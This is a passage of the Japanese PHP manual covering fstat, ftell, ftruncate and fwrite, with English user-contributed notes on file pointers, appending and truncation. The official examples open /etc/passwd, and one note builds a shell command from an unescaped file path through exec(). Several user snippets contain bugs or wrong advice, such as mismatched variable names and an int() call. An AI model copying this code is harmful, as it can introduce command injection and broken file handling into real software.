alan at peaceconstitution.com 17-May-2005 06:03
Thanks to Dan, whose above comment provided a key to solve the issue of how to append to a file.
     After, using phpinfo(); I made sure my installation of PHP had the requisite settings mentioned in the text to the manual entry for fopen(), I was puzzled as to why my use of fopen() with the append option 'a' (append option) didn't work. Then I  read a comment contributed to Appendix L (http://us2.php.net/manual/en/wrappers.php) that the append option 'a' for fopen() doesn't work as expected. The writer suggested using the 'w' option instead, which I found did work. But the 'w' option (write option) overwrites everything in the file.
     The question remained how to accomplish appending. Following Dan's suggestion about the 'r+' option, I tried this, which works fine:
       $string = "Message to write to log";
       $filehandle = fopen ("/home/name/sqllogs/phpsqlerr.txt", 'r+');
    fseek ( $filehandle,0, SEEK_END);
    fwrite ( $filehandle, $string."\n" );
    fclose ($filehandle);
Lutz ( l_broedel at gmx dot net ) 14-Feb-2005 02:25
Based on the function below, provided by info at o08 dot com (thanks), the following should enable you to read a single line from a file, identified by the line number (starting with 1):

<?
    function readLine ($linenum,$fh) {
        $line = fgets ($fh, 4096);
        $pos = -1;
        $i = 0;

        while (!feof($fh) && $i<($linenum-1)) {
            $char = fgetc($fh);
            if ($char != "\n" && $char != "\r") {
                fseek($fh, $pos, SEEK_SET);
                $pos ++;
            }
            else $i ++;
        }
        $line = fgets($fh);
        return $line;
    } //readLine()
?>
jim at lfchosting dot com 04-Nov-2003 06:03
Here is a function that returns the last line of a file.  This should be quicker than reading the whole file till you get to the last line.  If you want to speed it up a bit, you can set the $pos = some number that is just greater than the line length.  The files I was dealing with were various lengths, so this worked for me.

<?php
function readlastline($file)
{
        $fp = @fopen($file, "r");
        $pos = -1;
        $t = " ";
        while ($t != "\n") {
              fseek($fp, $pos, SEEK_END);
              $t = fgetc($fp);
              $pos = $pos - 1;
        }
        $t = fgets($fp);
        fclose($fp);
        return $t;
}
?>
16-Sep-2002 01:25
Don't use filesize() on files that may be accessed and updated by parallel processes or threads (as the filesize() return value is maintained in a cache).
Instead lock the opened file and use fseek($fp,0,SEEK_END) and ftell($fp) to get the actual filesize if you need to perform a fread() call to read the whole file...


オープンしたファイルポインタからファイルに関する情報を取得する

  • ≪ fseek
  • ftell ≫
  • PHP Manual
  • ファイルシステム 関数
  • オープンしたファイルポインタからファイルに関する情報を取得する

fstat

(PHP 4, PHP 5, PHP 7, PHP 8)

fstat — オープンしたファイルポインタからファイルに関する情報を取得する

説明

fstat ( resource $stream ) : array|false

ファイルポインタstreamによりオープンされたファイルの統計情報を取得します。 この関数は関数stat()に似ていますが、 ファイル名の代わりにオープンされたファイルポインタを指定するところが異なります。

パラメータ

stream

fopen() を使用して作成したファイルシステムポインタリソース。

返り値

ファイルの統計情報の配列を返します。配列のフォーマットについては stat()のマニュアルをご覧ください。 失敗時に false を返します。

例

例1 fstat() の例

<?php

// ファイルをオープンする
$fp = fopen("/etc/passwd", "r");

// 統計情報を収集する
$fstat = fstat($fp);

// ファイルをクローズする
fclose($fp);

// 連想配列部のみ表示する
print_r(array_slice($fstat, 13));

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

注意

注意: この関数では、 リモートファイル を 使用することはできません。これは、処理されるファイルがサーバーの ファイルシステムによりアクセスできる必要があるためです。

User Contributed Notes

tom at bitworks dot de 11-Jun-2017 01:49
Remember atime will not be updated by simple read access to the file unless you take care for that in the mounting parameters of your filesystem.

Instead of atime, mtime will be delivered. But mtime only will be updated, if the contents of the file has changed.

Due to this behavior take care in your Session-System. Using session_start() will not be sufficiant to keep your sessions alive. You should write into the Session, e. g. :

$_SESSION = time();

That retriggers your mtime and atime, even if the mounting parameter for atime is set to "noatime" or is missing, dependent of the used file System.
broom at alturnanetworks dot com 03-Oct-2008 03:21
Another ftp_get_contents() approach, using a temperary stream handler. Returns file contents of remote file as string.

<?php
function ftp_get_contents ($conn_id, $remote_filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $remote_filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>

(It is recommended to add some error handling)


ファイルの読み書き用ポインタの現在位置を返す

  • ≪ fstat
  • ftruncate ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの読み書き用ポインタの現在位置を返す

ftell

(PHP 4, PHP 5, PHP 7, PHP 8)

ftell — ファイルの読み書き用ポインタの現在位置を返す

説明

ftell ( resource $stream ) : int|false

stream ファイルの読み書き用ポインタの現在位置を返します。

パラメータ

stream

ファイルポインタは有効なものでなければならず、また fopen()、popen() で正常にオープンされたファイルを指している必要があります。 ftell() は、("a" フラグ付きでオープンされた) 追加のみ可能なストリームに対する結果も未定義です。

返り値

stream が示すファイルポインタの位置、 すなわちファイル・ストリーム上のオフセットを整数値で返します。

エラーが起こった場合 false を返します。

注意: PHP の数値型は符号付整数であり、 多くのプラットフォームでは 32 ビットの整数を取るため、 ファイルシステム関数の中には 2GB より大きなファイルについては期待とは違う値を返すものがあります。

例

例1 ftell() の例

<?php

// ファイルをオープンし、データを読み込む
$fp = fopen("/etc/passwd", "r");
$data = fgets($fp, 12);

// どこにいるんだ ?
echo ftell($fp); // 11

fclose($fp);

?>

参考

  • fopen() - ファイルまたは URL をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • fseek() - ファイルポインタを移動する
  • rewind() - ファイルポインタの位置を先頭に戻す

User Contributed Notes

Mindaugas 15-Mar-2015 09:37
When opening a file for reading and writing via fopen('file','a+') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty. Also it seems that there is two pointers, first for reading and second for writing, because it acts differently on first operation (reading or writing).

Example:
<?php
$file = fopen('counter.txt', 'w');
fwrite($file, '123456789');
fclose($file);

$file = fopen('counter.txt', 'r');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'a+');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'r+');
fwrite($file, 'rr');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'a+');
fwrite($file, 'aa');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'r');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);
?>

Result:
0 "123456789" 9
0 "123456789" 9
2 "3456789" 9
2 "" 2
0 "rr3456789aa" 11
burninleo at gmx dot net 07-Sep-2009 01:38
When opening a file to append via fopen('file','ab') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty and even after writing some text into the file.
missilesilo at gmail dot com 27-Feb-2007 03:02
In response to php at michielvleugel dot com:

This does not seem to be the case with PHP 5.2.0 and FreeBSD 5.4.

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);
var_dump($tell);
?>

root@localhost:/home/david# echo Hello World | ./test.php
int(0)
root@localhost:/home/david# ./test.php
int(6629927)

When something is piped to the script, it returns an integer value of 0, however, it also returns an integer when nothing is piped to the script.

The code should  be modified to this:

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);

if ($tell === 0)
    echo "Something was piped: " . fread(STDIN,256) . "\n";
else
    echo "Nothing was piped\n";
?>

And the result is:

root@localhost:/home/david# echo Hello World | ./test.php
Something was piped: Hello World
root@localhost:/home/david# ./test.php
Nothing was piped
mbirth at webwriters dot de 21-Oct-2005 11:09
Attention! If you open a file with the "text"-modifier (e.g. 'rt') and the file contains \r\n as line-endings, ftell() returns the position as if there were only \n as line-endings.

Example:
If the first line only contains 1 char followed by \r\n, the start of the second line should be position 3. (1char + \r + \n = 3 bytes) But ftell() will return 2 - ignoring one byte. If you call ftell() in line 3, the value will differ from the real value by 2 bytes. The error gets greater with every line.

(Watched this behavior in PHP 5.0.4 for Windows.)

BUT: fseek() works as expected - using the true byte values.
mweierophinney at gmail dot com 21-Jun-2005 10:00
Actually, ftell() gives more than an undefined result for append only streams; it gives the offset from the end of the file as defined before any data was appended. So if you open a file that had 3017 characters, and append 41 characters, and then execute ftell(), the value returned will be 41.
php at michielvleugel dot com 01-Jun-2005 03:19
When trying to determine whether or not something was piped into a command line script, it is not smart to do a fgets(STDIN), because it will wait indefenitely if nothing is piped. Instead, I found ftell on STDIN to be very handy: it will return an integer of zero when something was piped, and nothing if nothing was piped to the script.

#!/usr/bin/php4 -q
<?
#following will hang if nothing is piped:
#$sometext = fgets(STDIN, 256)

$tell = ftell(STDIN);

if (is_integer($tell)==true)
  {echo "Something was piped: ".fread(STDIN,256)."\n";}
else
  {echo "Nothing was piped\n";}

?>


ファイルを指定した長さに丸める

  • ≪ ftell
  • fwrite ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルを指定した長さに丸める

ftruncate

(PHP 4, PHP 5, PHP 7, PHP 8)

ftruncate — ファイルを指定した長さに丸める

説明

ftruncate ( resource $stream , int $size ) : bool

ファイルポインタstreamを引数とし、 ファイルを指定した長さ、サイズに丸めます。

パラメータ

stream

ファイルポインタ。

注意:

stream は書き込みモードでオープンする必要があります。

size

丸める大きさ。

注意:

size がファイルのサイズより大きい場合は、 null バイトを用いてファイルを拡大します。

size がファイルのサイズより小さい場合は、 余分なデータは失われます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ファイルの丸めの例

<?php
$filename = 'lorem_ipsum.txt';

$handle = fopen($filename, 'r+');
ftruncate($handle, rand(1, filesize($filename)));
rewind($handle);
echo fread($handle, filesize($filename));
fclose($handle);
?>

注意

注意:

ファイルポインタは変更 されません。

参考

  • fopen() - ファイルまたは URL をオープンする
  • fseek() - ファイルポインタを移動する

User Contributed Notes

Masoud 24-Nov-2020 11:55
The problem that rc at opelgt dot org mentioned seems completely logical.

When pointer is at offset 4 and you truncate file, the pointer is still at offset 4.

So when you write(), the first 4 bytes are filled with null byte by Operating System - There is nothing wrong by PHP. And it's filled with null byte, because there is data on disk and that needs to be cleared with zero bits.

Even though this is a Operating System's gotcha, to avoid data corruption, PHP Docs should mention it clearly. Also it would be nice if PHP automatically sets the pointer's offset to SEEK_END  after truncating to an smaller size to fool-proof it.
Julien B. 01-May-2015 02:36
You MUST use rewind() after ftruncate() to replace file content
emailfire at gmail dot com 16-Jun-2011 02:14
If you want to empty a file of it's contents bare in mind that opening a file in w mode truncates the file automatically, so instead of doing...

<?php
$fp = fopen("/tmp/file.txt", "r+");
ftruncate($fp, 0);
fclose($fp);
?>

You can just do...

<?php
$fp = fopen("/tmp/file.txt", "w");
fclose($fp);
?>
eurosat7 at yahoo dot de 21-Apr-2011 08:31
If you want to ftruncate but keep the end:
<?php
    function ftruncatestart($filename,$maxfilesize){
        $size=filesize($filename);
        if ($size<$maxfilesize*1.0) return;
        $maxfilesize=$maxfilesize*0.5; //we don't want to do it too often...
        $fh=fopen($filename,"r+");
        $start=ftell($fh);
        fseek($fh,-$maxfilesize,SEEK_END);
        $drop=fgets($fh);
        $offset=ftell($fh);
        for ($x=0;$x<$maxfilesize;$x++){
            fseek($fh,$x+$offset);
            $c=fgetc($fh);
            fseek($fh,$x);
            fwrite($fh,$c);
        }
        ftruncate($fh,$maxfilesize-strlen($drop));
        fclose($fh);
    }
?>
It will not just cut it but search for a newline so you avoid corrupting your csv or logfiles. But I don't know if you will stress the reading head of your drive. ;)
rc at opelgt dot org 05-Jan-2008 10:49
Writing after ftruncate

I didnt expect that I can write in the middle of nowhere. I thought that I would write at the beginning of the file but the first 4 bytes were filled automatically with NULLs followed by "56":

<?php
$str1  = 1234;
$str2  =   56;
$datei = "test.txt";

$dh = fopen($datei,"w");
fwrite($dh, $str1);
fclose($dh);

$dh = fopen ($datei,"r+");
echo "content: ".fread($dh, filesize($datei))."<br>";
echo "pointer after fread at: ".ftell($dh)."<br>";
ftruncate($dh, 0);
echo "pointer after truncate at: ".ftell($dh)."<br>";
fwrite($dh, $str2);
echo "pointer after fwrite at: ".ftell($dh)."<br>";
rewind($dh);
echo "pointer after rewind at: ".ftell($dh)."<br>";
$str = fread($dh, 6);
echo "content: $str<br>in ASCII: ";
for($i = 0; $i < 6; $i++)
 echo ord($str{$i})."-";
fclose($dh);

/*
   OUTPUT:
   content: 1234
   pointer after fread at: 4
   pointer after truncate at: 4
   pointer after fwrite at: 6
   pointer after rewind at: 0
   content: 56
   in ASCII: 0-0-0-0-53-54
*/
?>

So not only ftruncate is filling an empty file up with NULLs as in the note before. Fread is filling leading space with NULLs too.


バイナリセーフなファイル書き込み処理

  • ≪ ftruncate
  • glob ≫
  • PHP Manual
  • ファイルシステム 関数
  • バイナリセーフなファイル書き込み処理

fwrite

(PHP 4, PHP 5, PHP 7, PHP 8)

fwrite — バイナリセーフなファイル書き込み処理

説明

fwrite ( resource $handle , string $string , int $length = ? ) : int

fwrite()はstringの内容を handleが指しているファイル・ストリームに書き込みます。

パラメータ

handle

fopen() を使用して作成したファイルシステムポインタリソース。

string

書き込む文字列。

length

lengthパラメータが与えられている場合、 lengthバイト数分の書き込みが完了したか、 stringが終わりに達したかのいずれか早い方の 事象により書き込みは中止されます。

length パラメータが指定されている場合、 magic_quotes_runtime 構成オプションは無視され、stringからの スラッシュ文字の取り除きは行われないことに注意してください。

返り値

fwrite() は、 書き込んだバイト数、またはエラー時に false を返します。

注意

注意:

ネットワークストリームへの書き込みは、 すべての文字列を書き込み終える前に終了する可能性があります。 fwrite() の返り値を確かめるようにしましょう。

<?php
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>

注意:

(Windowsのように)バイナリとテキストファイルの形式が異なるシステムにおいては、ファイルをオープンする際に fopen()の mode パラメータに 'b' を指定する必要があります。

注意:

fopen() を使用して追記モードでオープンした handle の場合、 fwrite() はアトミックになります (ただし、一部のプラットフォームにおいて string がファイルシステムのブロックサイズを超えない場合、 そしてローカルファイルシステム上のファイルである場合に限ります)。 アトミックであるとは、つまり fwrite() をコールする前にリソースを flock() する必要がないということです。データの書き込みが中断されることはありません。

注意:

同じファイルポインタに 2 回書き込みを行うと、 データはファイルの末尾に追記されます。

<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);

// 'data.txt' の中身は 123 となります。23 ではありません!
?>

例

例1 簡単な fwrite() の例

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";

// ファイルが存在しかつ書き込み可能かどうか確認します
if (is_writable($filename)) {

    // この例では$filenameを追加モードでオープンします。
    // ファイルポインタはファイルの終端になりますので
    // そこがfwrite()で$somecontentが追加される位置になります。
    if (!$handle = fopen($filename, 'a')) {
         echo "Cannot open file ($filename)";
         exit;
    }

    // オープンしたファイルに$somecontentを書き込みます
    if (fwrite($handle, $somecontent) === FALSE) {
        echo "Cannot write to file ($filename)";
        exit;
    }

    echo "Success, wrote ($somecontent) to file ($filename)";

    fclose($handle);

} else {
    echo "The file $filename is not writable";
}
?>

参考

  • fread() - バイナリセーフなファイルの読み込み
  • fopen() - ファイルまたは URL をオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • file_get_contents() - ファイルの内容を全て文字列に読み込む
  • pack() - データをバイナリ文字列にパックする

User Contributed Notes

divinity76 at gmail dot com 28-Jan-2021 01:09
if you need a function that writes all data, maybe try

<?php

    /**
     * writes all data or throws
     *
     * @param mixed $handle
     * @param string $data
     * @throws \RuntimeException when fwrite returned <1 but still more data to write
     * @return void
     */
    /*private static*/ function fwrite_all($handle, string $data): void
    {
        $original_len = strlen($data);
        if ($original_len > 0) {
            $len = $original_len;
            $written_total = 0;
            for (;;) {
                $written_now = fwrite($handle, $data);
                if ($written_now === $len) {
                    return;
                }
                if ($written_now < 1) {
                    throw new \RuntimeException("could only write {$written_total}/{$original_len} bytes!");
                }
                $written_total += $written_now;
                $data = substr($data, $written_now);
                $len -= $written_now;
                // assert($len > 0);
                // assert($len === strlen($data));
            }
        }
    }
niklesh at example dot com 16-Jun-2020 10:54
$handles can also be used to output in console like below example

fwrite(STDOUT, "Console Output");
2184364 at gmail dot com 14-Oct-2019 11:31
//fwrite writes over, i.e. this example (win) may be misleading:

$file = 'e:/1.txt';

file_put_contents($file, 'hello'.chr(1).'0df6ac'.chr(0));

$fp = fopen($file, 'r+b');

$str = fread($fp, filesize($file));

$str = strtr($str, [chr(0)=>'']);
echo $str.PHP_EOL;//hello0df6ac

fseek($fp, 0);//указатель в начало
fwrite($fp, $str);

fclose($fp);

//add ftruncate ($ fp, 0);
//this will overwrite the file:

file_put_contents($file, 'hello'.chr(1).'0df6ac'.chr(0));

$fp = fopen($file, 'r+b');

$str = fread($fp, filesize($file));

$str = strtr($str, [chr(0)=>'']);
echo $str.PHP_EOL;//hello0df6ac

ftruncate ($ fp, 0);
fseek($fp, 0);//указатель в начало
fwrite($fp, $str);

fclose($fp);
David Spector 27-Jul-2016 02:01
This may save you time: note that neither "binary-safe file write" nor the use of b mode in fopen mean that fwrite can write binary. It can only write strings (or a single character). For example,  attempting to write the byte 0x1 using fwrite results in writing the byte value 0x31.

If you wish to write binary values (bits, bytes, integers, etc.), use a statement like fprintf($Res, "%c", 0x1); . This statement will write a byte to the current offset in the file without converting it to a character (in this case, it will write 0x1).
synnus at gmail dot com 02-Apr-2016 05:49
// you want copy dummy file or send dummy file
// it is possible to send a file larger than 4GB and write without FSEEK used is limited by PHP_INT_MAX. it works on a system 32-bit or 64-bit
// fwrite and fread non pas de limite de position du pointeur

<?php

$gfz =  filesize_dir("d:\\starwars.mkv"); // 11,5GB
echo 'Z:',$gfz,PHP_EOL;

$fz = fopen('d:\\test2.mkv', 'wb');
$fp = fopen('d:\\starwars.mkv', 'rb');
echo PHP_EOL;
$a = (float) 0;
while(($l=fread($fp, 65536))) {
    fwrite($fz, $l);
    if(($a+=65536)%5) echo "\r", '>', $a, ' : ' , $gfz;
}

fclose($fp);
fclose($fz);

// test2.mkv' is 11,5GB

    function filesize_dir($file) {
        exec('dir ' . $file, $inf);
        $size_raw = $inf[6];
        $size_exp = explode(" ",$size_raw);
        $size_ext = $size_exp[19];
        $size_int = (float) str_replace(chr(255), '', $size_ext);
        return $size_int;
    }
?>
Anonymous 02-Apr-2016 05:48
// you want copy dummy file or send dummy file
// it is possible to send a file larger than 4GB and write without FSEEK used is limited by PHP_INT_MAX. it works on a system 32-bit or 64-bit
// fwrite and fread non pas de limite de position du pointeur

<?php

$gfz =  filesize_dir("d:\\starwars.mkv"); // 11,5GB
echo 'Z:',$gfz,PHP_EOL;

$fz = fopen('d:\\test2.mkv', 'wb');
$fp = fopen('d:\\starwars.mkv', 'rb');
echo PHP_EOL;
$a = (float) 0;
while(($l=fread($fp, 65536))) {
    fwrite($fz, $l);
    if(($a+=65536)%5) echo "\r", '>', $a, ' : ' , $gfz;
}

fclose($fp);
fclose($fz);

// test2.mkv' is 11,5GB

    function filesize_dir($file) {
        exec('dir ' . $file, $inf);
        $size_raw = $inf[6];
        $size_exp = explode(" ",$size_raw);
        $size_ext = $size_exp[19];
        $size_int = (float) str_replace(chr(255), '', $size_ext);
        return $size_int;
    }
?>
qrworld.net 11-Nov-2014 03:06
Here you have a function found on the website http://softontherocks.blogspot.com/2014/11/funcion-para-escribir-en-un-fichero-log.html with an example of how to make a log file.

The function is this:

function writeLog($data) {
list($usec, $sec) = explode(' ', microtime());
$datetime = strftime("%Y%m%d %H:%M:%S",time());
$msg = "$datetime'". sprintf("%06s",intval($usec*1000000)).": $data";
$save_path = 'foo.txt';
$fp = @fopen($save_path, 'a'); // open or create the file for writing and append info
fputs($fp, "$msg\n"); // write the data in the opened file
fclose($fp); // close the file
}
Anonymous 09-Sep-2014 02:56
Bad example!

The result of fwrite could be either FALSE or 0.

So it should be correctly:

if (false === fwrite($handle, $somecontent)) { ....
dominic at varspool dot com 04-Feb-2014 04:49
Note that the optional $length argument is expected to be an int, and cannot be skipped by passing null.

That is, `fwrite($handle, $string, null)` is treated as `fwrite($handle, $string, 0)`, and will write zero bytes, not the whole string.
Jon Haynes 01-Apr-2011 02:48
Be careful of using reserved Windows filenames in fwrite operations.

<?php
$fh = fopen('prn.txt', 'w');
fwrite($fh, 'wtf?');
echo 'done' . PHP_EOL;
?>

The above script will hang (tested on Windows 7) before it can echo 'done'.

This is due to another 'feature' of our favourite operating system where filenames like prn.xxx, con.xxx, com1.xxx and aux.xxx (with xxx being any filename extension) are Windows reserved device names. Attempts to create/read/write to these files hangs the interpreter.
nate at frickenate dot com 24-Mar-2010 09:51
After having problems with fwrite() returning 0 in cases where one would fully expect a return value of false, I took a look at the source code for php's fwrite() itself. The function will only return false if you pass in invalid arguments. Any other error, just as a broken pipe or closed connection, will result in a return value of less than strlen($string), in most cases 0.

Therefore, looping with repeated calls to fwrite() until the sum of number of bytes written equals the strlen() of the full value or expecting false on error will result in an infinite loop if the connection is lost.

This means the example fwrite_stream() code from the docs, as well as all the "helper" functions posted by others in the comments are all broken. You *must* check for a return value of 0 and either abort immediately or track a maximum number of retries.

Below is the example from the docs. This code is BAD, as a broken pipe will result in fwrite() infinitely looping with a return value of 0. Since the loop only breaks if fwrite() returns false or successfully writes all bytes, an infinite loop will occur on failure.

<?php
// BROKEN function - infinite loop when fwrite() returns 0s
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>
oktavianus dot programmer at gmail dot com 03-Jun-2009 08:51
this the another sample to use fwrite with create a folder and create the txt file.

<?php
$mypath="testdir\\subdir\\test";
mkdir($mypath,0777,TRUE);
$filename = $mypath.'\test.txt';
$handle = fopen($filename,"x+");
$somecontent = "Add this to the file Oktavianus";
fwrite($handle,$somecontent);
echo "Success";
fclose($handle);
?>

please try...
Oktavianus
Anonymous 15-May-2009 09:36
If you write with the pointer in the middle of a file, it overwrites what's there rather than shifting the rest of the file along.
ceo at l-i-e dot com 10-Nov-2008 03:07
If you are trying to write binary/structured data (e.g., a 4-byte sequence for an (int)) to a file, you will need to use:
http://php.net/pack
james at facepwn dot com 09-Oct-2008 05:25
if (is_writable($filename)) {

Could also be

if (is_writable($filename) or die ("Can not write to ".$filename)) {
elinor_hust at REMOVETHIS dot hotmail dot com 01-Apr-2008 05:26
Remember to use double-quotes when outputting special characters such as \n or they come out literally.

...
dharris dot nospam at removethispart dot drh dot net 20-Feb-2008 10:47
Some people say that when writing to a socket not all of the bytes requested to be written may be written. You may have to call fwrite again to write bytes that were not written the first time. (At least this is how the write() system call in UNIX works.)

This is helpful code (warning: not tested with multi-byte character sets)

function fwrite_with_retry($sock, &$data)
{
    $bytes_to_write = strlen($data);
    $bytes_written = 0;

    while ( $bytes_written < $bytes_to_write )
    {
        if ( $bytes_written == 0 ) {
            $rv = fwrite($sock, $data);
        } else {
            $rv = fwrite($sock, substr($data, $bytes_written));
        }

        if ( $rv === false || $rv == 0 )
            return( $bytes_written == 0 ? false : $bytes_written );

        $bytes_written += $rv;
    }

    return $bytes_written;
}

Call this like so:

    $rv = fwrite_with_retry($sock, $request_string);

    if ( ! $rv )
        die("unable to write request_string to socket");
    if ( $rv != strlen($request_string) )
        die("sort write to socket on writing request_string");
chad 0x40 herballure 0x2e com 05-Sep-2007 10:13
Remember to check the return value of fwrite(). In particular, writing into a socket can return fewer bytes than requested, and you'll have to try again with the remainder of your data.
cutmaster at fearlesss dot com 09-Mar-2007 03:09
For those who, like me, lost a lot of minutes (hours) to understand why fwrite doesn't create a real utf-8 file, here's the explanation I've found :

I tried to do something like this :
<?php
$myString = utf8_encode("Test with accents eeac");
$fh=fopen('test.xml',"w");
fwrite($fh,$myString);
fclose($fh);
?>

For a mysterious reason, the resulted file shows the accent without the utf-8 conversion.

I tried the binary, mode, etc. etc. And finally I've found it :
It seems that fwrite NEEDS to have the utf8_encode function INSIDE its parameters like this, to understand it must create a non-text only file :
<?php
$myString = "Test with accents eeac";
$fh=fopen('test.xml',"w");
fwrite($fh,utf8_encode($myString));
fclose($fh);
?>
Hope this will help
zaccraven at junk.com 11-Sep-2006 12:08
Use this to get a UTF-8 Unicode CSV file that opens properly in Excel:

$tmp = chr(255).chr(254).mb_convert_encoding( $tmp, 'UTF-16LE', 'UTF-8');
$write = fwrite( $filepath, $tmp );

Use a tab character, not comma, to seperate the fields in  the $tmp.

Credit for this goes to someone called Eugene Murai, I found this solution by him after searching for several hours.
james at nicolson dot biz 06-Jul-2005 08:09
I could'nt quite get MKP Dev hit counter to work.... this is how I modified it
<?
function hitcount()
{
$file = "counter.txt";
if ( !file_exists($file)){
        touch ($file);
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = 0;

}
else{
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = fread ($handle, filesize ($file));
        settype ($count,"integer");
}
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
  * 10 because we are always incrementing, so we will always write at
   * least as many characters as we read
    **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done

return $count;
}
?>
MKP Dev 12-May-2005 05:25
bluevd at gmail dot com mentioned a hit counter. In his/her implementation, the file is first opened, read, closed, then opened +truncated, then written, and closed again. An alternative to this is:
<?php
$file = 'counter.txt or whatever';
$handle = fopen ($file, 'r+'); // Let's open for read and write
$count = int (fread ($handle, filesize ($file)));
// We don't want to think it's a string and try appending
echo "Number of hits $count";
rewind ($handle); // Go back to the beginning
/*
 * Note that we don't have problems with 9 being fewer characters than
 * 10 because we are always incrementing, so we will always write at
 * least as many characters as we read
 **/
fwrite ($handle, ++$count); // Don't forget to increment the counter
fclose ($handle); // Done
?>
Will at EnigmaChannel dot com 25-Mar-2005 06:24
Using fwrite to write to a file in your include folder...

PHP does not recognise the permissions setting for the file until you restart the server... this script works fine. (still have to create the blank text file first though...it is not created automatically) On OS X Server..
Using the 1 in fopen tells php to look for the file in your include folder. Change your include folder by altering include_path in php.ini
On OS X Server, php.ini is in private/etc/php.ini.default
copy the file and call it php.ini

the default include path is usr/lib/php
(All these folders are hidden - use TinkerTool to reveal them)

<?php
$file = fopen('textfile.txt', 'a', 1);
$text="\n Your text to write \n ".date('d')."-".date('m')."-".date('Y')."\n\n";
fwrite($file, $text);
fclose($file);
?>
sheyh 09-Feb-2005 09:55
if you want to create quickly and without fopen use system, exec

system('echo "blahblah" > /path/file');
kzevian at cybercable dot net dot mx 03-Feb-2005 11:27
I needed to append, but I needed to write on the file's beginning, and after some hours of effort this worked for me:

$file = "file.txt";
if (!file_exists("file.txt")) touch("file.txt");
$fh = fopen("file.txt", "r");
$fcontent = fread($fh, filesize("file.txt"));

$towrite = "$newcontent $fcontent";

$fh22 = fopen('file.txt', 'w+');
fwrite($fh2, $towrite);
fclose($fh);
fclose($fh2);
bluevd at gmail dot com 22-Dec-2004 09:56
Watch out for mistakes in writting a simple code for a hit counter:
<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','a');
fwrite($cont,$incr);
fclose($cont);
?>

Why? notice the second fopen -> $cont=fopen('cont.txt','a');
it opens the file in writting mode (a). And when it ads the incremented
value ( $incr ) it ads it ALONG the old value... so opening the counter
page about 5 times will make your hits number look like this
012131214121312151.21312141213E+ .... you get the piont.
nasty, isn't it? REMEMBER to open the file with the 'w' mode (truncate
the file to 0). Doing this will clear the file content and it will make sure that
your counter works nice. This is the final code

<?php
$cont=fopen('cont.txt','r');
$incr=fgets($cont);
//echo $incr;
$incr++;
fclose($cont);
$cont=fopen('cont.txt','w');
fwrite($cont,$incr);
fclose($cont);
?>

Notice that this work fine =)
XU (alias Iscu Andrei)
chill at cuna dot org 26-Oct-2004 03:32
In PHP 4.3.7 fwrite returns 0 rather than false on failure.
The following example will output "SUCCESS: 0 bytes written" for existing file test.txt:

$fp = fopen("test.txt", "rw");
if (($bytes_written = fwrite($fp, "This is a test")) === false) {
  echo "Unable to write to test.txt\n\n";
} else {
  echo "SUCCESS: $bytes_written bytes written\n\n";
}
php at biggerthanthebeatles dot com 21-Aug-2003 03:04
Hope this helps other newbies.

If you are writing data to a txt file on a windows system and need a line break. use \r\n . This will write hex OD OA.

i.e.
$batch_data= "some data... \r\n";
fwrite($fbatch,$batch_data);

The is the equivalent of opening a txt file in notepad pressing enter and the end of the line and saving it.
Andi 17-Jul-2003 02:32
[Ed. Note:
The runtime configuration setting auto_detect_line_endings should solve this problem when set to On.]

I figured out problems when writing to a file using \r as linebreak, after that file() wasn't able to read the data from that file.
Using \n solved the problem.
chedong at hotmail dot com 20-Jun-2003 02:36
the fwrite output striped the slashes if without length argument given, example:

<?php
$str = "c:\\01.txt";
$out = fopen("out.txt", "w");
fwrite($out, $str);
fclose($out);
?>

the out.txt will be:
c:^@1.txt
the '\\0' without escape will be '\0' ==> 0x00.

the correct one is change fwrite to:
fwrite($out, $str, strlen($str));
Jake Roberts 04-Jun-2003 11:35
Use caution when using:

$content = fread($fh, filesize($fh)) or die "Error Reading";

This will cause an error if the file you are reading is zero length.

Intead use:

if ( false === fread($fh, filesize($fh)) ) die "Error Reading";

